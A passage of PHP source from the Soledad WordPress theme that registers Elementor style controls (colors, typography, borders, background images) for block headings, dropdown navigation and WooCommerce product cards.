			'label'     => __( 'Dropdown Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .pcnav-lgroup ul ul' => 'background-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'btn_group_dbdcolor', array(
			'label'     => __( 'Dropdown Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul ul li,{{WRAPPER}} .pcnav-lgroup ul ul' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'btn_group_sublink_typo',
			'label'    => __( 'Dropdown Typography', 'soledad' ),
			'selector' => '{{WRAPPER}}  .pcnav-lgroup ul ul li a',
		) );
		$this->add_control( 'btn_group_droplcolor', array(
			'label'     => __( 'Dropdown Link Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul ul li,{{WRAPPER}} .pcnav-lgroup ul ul li a' => 'color: {{VALUE}};opacity: 1;',
			),
		) );
		$this->add_control( 'btn_group_droplhcolor', array(
			'label'     => __( 'Dropdown Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcnav-lgroup ul ul li a.clactive,{{WRAPPER}} .pcnav-lgroup ul ul li:hover,{{WRAPPER}} .pcnav-lgroup ul ul li a:hover' => 'color: {{VALUE}};opacity: 1;',
			),
		) );
		$this->add_control( 'btn_group_loading_icon', array(
			'label'     => __( 'Loading Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'biggrid_ajax_loading_style!' => '' ],
			'selectors' => array(
				'{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation:before,{{WRAPPER}} .penci-loading-animation-1 .penci-loading-animation:after,{{WRAPPER}} .penci-loading-animation-5 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-6 .penci-loading-animation:before,{{WRAPPER}} .penci-loading-animation-7 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-8 .penci-loading-animation,{{WRAPPER}} .penci-loading-animation-9 .penci-loading-circle-inner:before,{{WRAPPER}} .penci-loading-animation-1>div,{{WRAPPER}} .penci-three-bounce .one,{{WRAPPER}} .penci-three-bounce .two,.penci-three-bounce .three' => 'background-color: {{VALUE}}',
				'{{WRAPPER}}'                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   => '--pc-loader-2:{{VALUE}}'
			),
		) );
		$this->add_control( 'btn_group_loading_bgcolor', array(
			'label'     => __( 'Loading Overlay Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'biggrid_ajax_loading_style!' => '' ],
			'selectors' => array(
				'{{WRAPPER}} .pcftaj-ld:before' => 'background-color:{{VALUE}}'
			),
		) );
		$this->add_control( 'btn_group_loading_bgopacity', array(
			'label'     => __( 'Loading Overlay Background Opacity', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => [ 'biggrid_ajax_loading_style!' => '' ],
			'range'     => array( 'px' => array( 'min' => 0.1, 'max' => 1, 'step' => 0.01 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcftaj-ld:before' => 'opacity:{{SIZE}}'
			),
		) );
		$this->end_controls_section();
	}

	public function register_block_title_style_section_controls() {
		$this->start_controls_section( 'section_title_block_style', array(
			'label' => __( 'Block Heading Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'block_title_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-21 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow span,{{WRAPPER}} .penci-homepage-title.style-28' => '--pcheading-cl: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow'                                                                                                                                                                                                        => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a'                                                                                                                                                                                                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .home-pupular-posts-title, {{WRAPPER}} .home-pupular-posts-title a, .penci-homepage-title.style-25 .inner-arrow > span'                                                                                                                  => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'block_title_hcolor', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow .inner-arrow a:hover' => 'color: {{VALUE}} !important;',
				'{{WRAPPER}} .home-pupular-posts-title a:hover'        => 'color: {{VALUE}} !important;',
			),
		) );
		$this->add_control( 'block_title_bcolor', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-21 .inner-arrow span'                                                                                                                                                                                                                                                                                                                                                                                                                               => '--pcaccent-cl: {{VALUE}}',
				'{{WRAPPER}} .penci-homepage-title.style-26 .inner-arrow,{{WRAPPER}} .penci-homepage-title.style-27 .inner-arrow'                                                                                                                                                                                                                                                                                                                                                                            => '--pcborder-cl: {{VALUE}}',
				'{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow:before'                                                                                                                                                                                                                                                                                                                                                                                                                             => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:before,{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:before'                                                                                                                                                                                                                                                                                                                                                => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow > span:before'                                                                                                                                                                                                                                                                                                                                                                                                                      => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow .inner-arrow,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow > span:after,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow > span:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:before,' . '{{WRAPPER}} .style-4.penci-border-arrow .inner-arrow:after,' . '{{WRAPPER}} .style-5.penci-border-arrow,' . '{{WRAPPER}} .style-7.penci-border-arrow,' . '{{WRAPPER}} .style-9.penci-border-arrow' => 'border-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow:before'                                                                                                                                                                                                                                                                                                                                                                                                                              => 'border-top-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-16.penci-border-arrow:after'                                                                                                                                                                                                                                                                                                                                                                                                                      => 'background-color: {{VALUE}}',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-home-popular-posts'                                                                                                                                                                                                                                                                                                                                                                                                                               => 'border-top-color: {{VALUE}}',
			),
			'condition' => array( 'heading_title_style!' => array( 'style-28' ) ),
		) );
		$this->add_control( 'btitle_outer_bcolor', array(
			'label'     => __( 'Border Outer Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-border-arrow:after'                                => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow:after'        => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-24 .inner-arrow > span:after' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-23 .inner-arrow > span:after' => 'background-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style!' => array( 'style-28' ) ),
		) );
		$this->add_control( 'btitle_style10_btopcolor', array(
			'label'     => __( 'Border Top', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-homepage-title.style-10' => 'border-top-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => 'style-10' ),
		) );

		$this->add_control( 'btitle_style5_bcolor', array(
			'label'     => __( 'Border Bottom', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-5.penci-border-arrow'              => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-10'           => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-12.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11.penci-border-arrow'             => 'border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-5.penci-border-arrow .inner-arrow' => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => array( 'heading_title_style' => array( 'style-5', 'style-10', 'style-11', 'style-12' ) ),
		) );
		$this->add_control( 'btitle_style78_bcolor', array(
			'label'     => __( 'Small Border Bottom on Style 7 & 8', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .style-7.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-9.penci-border-arrow .inner-arrow:before' => 'background-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-7', 'style-9' ) ),
		) );
		$this->add_control( 'btitle_shapes_color', array(
			'label'     => __( 'Background Color for Shapes', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:before,{{WRAPPER}} .style-13.pcalign-right .inner-arrow:before'                                         => 'border-left-color: {{VALUE}};',
				'{{WRAPPER}} .style-13.pcalign-center .inner-arrow:after,{{WRAPPER}} .style-13.pcalign-left .inner-arrow:after'                                            => ' border-right-color: {{VALUE}};',
				'{{WRAPPER}} .style-12 .inner-arrow:before,{{WRAPPER}} .style-12.pcalign-right .inner-arrow:after,{{WRAPPER}} .style-12.pcalign-center .inner-arrow:after' => ' border-bottom-color: {{VALUE}};',
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before'                                                                       => ' border-top-color: {{VALUE}};',
				'{{WRAPPER}} .penci-border-arrow.style-28'                                                                       => '--pcaccent-cl: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-13', 'style-11', 'style-12', 'style-28' ) ),
		) );

		$this->add_control( 'btitle_inshapes_color', array(
			'label'     => __( 'Background Color for Shapes Inside', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .style-11 .inner-arrow:after,{{WRAPPER}} .style-11 .inner-arrow:before' => ' border-right-color: {{VALUE}};'
			),
			'condition' => array( 'heading_title_style' => array( 'style-11' ) ),
		) );

		$this->add_control( 'bgstyle15_color', array(
			'label'       => __( 'Background Color for Icon', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .style-15.penci-border-arrow:before' => 'background-color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'iconstyle15_color', array(
			'label'       => __( 'Icon Color', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'color: {{VALUE}};',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_responsive_control( 'iconstyle15_size', array(
			'label'       => __( 'Custom Font Size for Icon', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'description' => __( 'For Icon on Style 15', 'soledad' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .style-15.penci-border-arrow:after' => 'font-size: {{SIZE}}px;',
			),
			'condition'   => array( 'heading_title_style' => array( 'style-15' ) ),
		) );
		$this->add_control( 'lines_color', array(
			'label'       => __( 'Color for Lines', 'soledad' ),
			'type'        => Controls_Manager::COLOR,
			'default'     => '',
			'description' => __( 'For Lines on Styles 18, 19, 20', 'soledad' ),
			'selectors'   => array(
				'{{WRAPPER}} .style-18.penci-border-arrow:after' => 'color: {{VALUE}}; background-image: linear-gradient( -45deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
				'{{WRAPPER}} .style-19.penci-border-arrow:after' => 'background-image: linear-gradient( -90deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
				'{{WRAPPER}} .style-20.penci-border-arrow:after' => 'background-image: linear-gradient( 0deg, transparent, transparent 30%, {{VALUE}} 30%, {{VALUE}} 50%, transparent 50%, transparent 80%, {{VALUE}} 80%);',
			),
			'condition'   => array(
				'heading_title_style' => array(
					'style-18',
					'style-18 style-19',
					'style-18 style-20'
				)
			),
		) );

		$this->add_control( 'btitle_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title.style-27 .inner-arrow span span, body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title.style-22 .inner-arrow > span, body:not(.pcdm-enable) {{WRAPPER}} .penci-homepage-title.style-26'                                                                           => '--pcbg-cl: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-2.penci-border-arrow:after'                                                                                                                                                                                                                                                         => 'border-color: transparent;border-top-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .style-14 .inner-arrow:before,{{WRAPPER}} .style-11 .inner-arrow,' . '{{WRAPPER}} .style-12 .inner-arrow,{{WRAPPER}} .style-13 .inner-arrow,{{WRAPPER}} .style-15 .inner-arrow,' . '{{WRAPPER}} .penci-border-arrow .inner-arrow, {{WRAPPER}} .penci-homepage-title.style-25 .inner-arrow' => 'background-color: {{VALUE}};',
			)
		) );
		$this->add_control( 'btitle_outer_bgcolor', array(
			'label'     => __( 'Background Outer Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-border-arrow:after'   => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-homepage-title.style-25 .inner-arrow > span' => '--pcheading-cl: {{VALUE}};',
			),
			'condition' => array( 'heading_title_style!' => array( 'style-28' ) ),
		) );

		$this->add_control( 'btitle_style9_bgimg', array(
			'label'     => __( 'Select Background Image for Style 9', 'soledad' ),
			'type'      => Controls_Manager::MEDIA,
			'default'   => array( 'id' => '', 'url' => '' ),
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-image: url("{{URL}}");' ),
			'condition' => array( 'heading_title_style' => 'style-8' ),
		) );

		$this->add_control( 'btitle_style9_repeat', array(
			'label'     => esc_html__( 'Background Image Repeat', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'no-repeat' => esc_html__( 'No Repeat', 'soledad' ),
				'repeat'    => esc_html__( 'Repeat', 'soledad' ),
				'repeat-x'  => esc_html__( 'Repeat X', 'soledad' ),
				'repeat-y'  => esc_html__( 'Repeat Y', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'no-repeat',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-repeat: {{VALUE}};' ),
		) );

		$this->add_control( 'btitle_style9_size', array(
			'label'     => esc_html__( 'Background Image Size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'auto 100%' => esc_html__( 'With Auto - Height 100%', 'soledad' ),
				'100% auto' => esc_html__( 'Width 100% - Height Auto', 'soledad' ),
				'cover'     => esc_html__( 'Cover', 'soledad' ),
				'contain'   => esc_html__( 'Contain', 'soledad' ),
				'auto'      => esc_html__( 'Orininal Size', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'auto 100%',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-size: {{VALUE}};' ),
		) );

		$this->add_control( 'btitle_style9_pos', array(
			'label'     => esc_html__( 'Background Image Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'left top'      => esc_html__( 'Left Top', 'soledad' ),
				'left center'   => esc_html__( 'Left Center', 'soledad' ),
				'left bottom'   => esc_html__( 'Left Bottom', 'soledad' ),
				'right top'     => esc_html__( 'Right Top', 'soledad' ),
				'right center'  => esc_html__( 'Right Center', 'soledad' ),
				'right bottom'  => esc_html__( 'Right Bottom', 'soledad' ),
				'center top'    => esc_html__( 'Center Top', 'soledad' ),
				'center center' => esc_html__( 'Center', 'soledad' ),
				'center bottom' => esc_html__( 'Center Bottom', 'soledad' ),
			),
			'condition' => array( 'heading_title_style' => 'style-8' ),
			'default'   => 'left top',
			'selectors' => array( '{{WRAPPER}} .style-8.penci-border-arrow .inner-arrow' => 'background-position: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'btitle_typo',
			'label'    => __( 'Block Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-border-arrow .inner-arrow',
		) );

		$this->add_control( 'block_title_icolor', array(
			'label'     => __( 'Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .inner-arrow i'                                  => 'color: {{VALUE}};',
				'{{WRAPPER}} .inner-arrow svg, {{WRAPPER}} .inner-arrow path' => 'fill: {{VALUE}};',
			),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );

		$this->add_control( 'block_title_ihcolor', array(
			'label'     => __( 'Icon Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .inner-arrow > span:hover i'                                               => 'color: {{VALUE}};',
				'{{WRAPPER}} .inner-arrow > span:hover svg, {{WRAPPER}} .inner-arrow > span:hover path' => 'fill: {{VALUE}};',
			),
			'condition' => array(
				'add_title_icon' => 'yes'
			),
		) );

		$this->end_controls_section();
	}

	public function register_block_icons() {
		$this->add_control( 'icon', array(
			'label' => esc_html__( 'Icon', 'soledad' ),
			'type'  => Controls_Manager::ICONS,
		) );

		$this->add_control( 'icon_position', array(
			'label'   => esc_html__( 'Icon position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'right' => esc_html__( 'Right', 'soledad' ),
				'left'  => esc_html__( 'Left', 'soledad' ),
			),
			'default' => 'right',
		) );
	}

	public function register_product_style() {
		/**
		 * Products design settings.
		 */
		$this->start_controls_section( 'products_design_style_product', [
			'label' => esc_html__( 'Products Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'product_title_color', array(
			'label'     => __( 'Product Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} ul.products .penci-soledad-product .penci-product-loop-title h3'   => 'color: {{VALUE}};',
				'{{WRAPPER}} ul.products .penci-soledad-product .penci-product-loop-title h3 a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'product_title_typo',
			'label'    => __( 'Product Title Font', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.products .penci-soledad-product .penci-product-loop-title h3'
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'product_cat_typo',
			'label'    => __( 'Product Category Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.products li.product .penci-product-cats a'
		) );

		$this->add_control( 'product_cat_color', array(
			'label'     => __( 'Product Category Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} ul.products li.product .penci-product-cats'   => 'color: {{VALUE}};',
				'{{WRAPPER}} ul.products li.product .penci-product-cats a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_cat_hover_color', array(
			'label'     => __( 'Product Category Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} ul.products li.product .penci-product-cats a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_inner_color', array(
			'label'     => __( 'Product Inner Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-6 .penci-product-loop-inner-content' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_button_bg_color', array(
			'label'     => __( 'Product Buttons Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products .penci-product-loop-button .button'                                                                             => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.icon-style-group:not(.product-style-7):not(.product-style-5) .penci-soledad-product .penci-product-loop-button' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_button_bg_hover_color', array(
			'label'     => __( 'Product Buttons Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products .penci-product-loop-button .button:hover'                                                                  => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} ul.products:not(.product-style-7):not(.product-style-5) .penci-soledad-product .penci-product-loop-button > a:hover' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_button_txt_color', array(
			'label'     => __( 'Product Buttons Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products .penci-product-loop-button .button:before'                                                               => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-7.icon-style-round .penci-product-loop-buttons .penci-product-loop-button a.button:before' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_button_txt_hover_color', array(
			'label'     => __( 'Product Buttons Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products .penci-product-loop-button .button:hover:before'                                                               => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-7.icon-style-round .penci-product-loop-buttons .penci-product-loop-button a.button:hover:before' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'product_item_button_txt_typo',
			'label'    => __( 'Add to Cart Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button,
					{{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button,
					{{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button,
					{{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button
					',
		) );

		$this->add_control( 'product_item_button_txt_color_5', array(
			'label'     => __( 'Add to cart button color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button' => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button'         => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button'                       => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button'                                 => 'color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => [ 'style-5', 'style-3', 'style-4' ],
			],
		) );

		$this->add_control( 'product_item_button_txt_hover_color_5', array(
			'label'     => __( 'Add to cart button hover color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-style-5 .penci-product-loop-extra-buttons .button:hover'                 => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button:hover' => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button:hover'               => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button:hover'                         => 'color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => [ 'style-5', 'style-3', 'style-4' ],
			],
		) );

		$this->add_control( 'product_item_button_bg_color_5', array(
			'label'     => __( 'Add to cart button background color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button' => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button'         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button'                       => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button'                                 => 'background-color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => [ 'style-5', 'style-3', 'style-4' ],
			],
		) );

		$this->add_control( 'product_item_button_bg_hover_color_5', array(
			'label'     => __( 'Add to cart button hover background color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button:hover' => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button:hover'         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button:hover'                       => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button:hover'                                 => 'background-color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => [ 'style-5', 'style-3', 'style-4' ],
			],
		) );

		$this->add_control( 'product_item_button_border_color_5', array(
			'label'     => __( 'Add to cart button border color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button' => 'border-color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => 'style-5',
			],
		) );

		$this->add_control( 'product_item_button_border_hover_color_5', array(
			'label'     => __( 'Add to cart button hover border color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button:hover' => 'border-color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => 'style-5',
			],
		) );

		$this->add_control( 'product_item_inner_align', array(
			'label'     => __( 'Product Inner Text Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				'left'   => __( 'Left', 'soledad' ),
				'center' => __( 'Center', 'soledad' ),
				'right'  => __( 'Right', 'soledad' ),
			),
			'selectors' => array(
				'{{WRAPPER}} .products .penci-soledad-product .penci-product-loop-inner-content' => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .penci-product-loop-title'         => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .woocommerce-loop-product__title'  => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .penci-product-cats'               => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .price'                            => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .penci-swatches-list'              => 'justify-content: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button'        => 'justify-content: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_price_color', array(
			'label'     => __( 'Product Price Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} ul.products li.product .price' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'product_price_typo',
			'label'    => __( 'Product Price Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.products li.product .price'
		) );

		$this->add_control( 'product_item_seperate_border_color', array(
			'label'     => __( 'Product Item List Separate Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-list .penci-soledad-product .penci-product-loop-inner-content' => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => [
				'layout' => [ 'list' ],
			],
		) );

		$this->end_controls_section();

		/**
		 * Stock Progress Style
		 */

		$this->start_controls_section( 'products_design_stock_progress', [
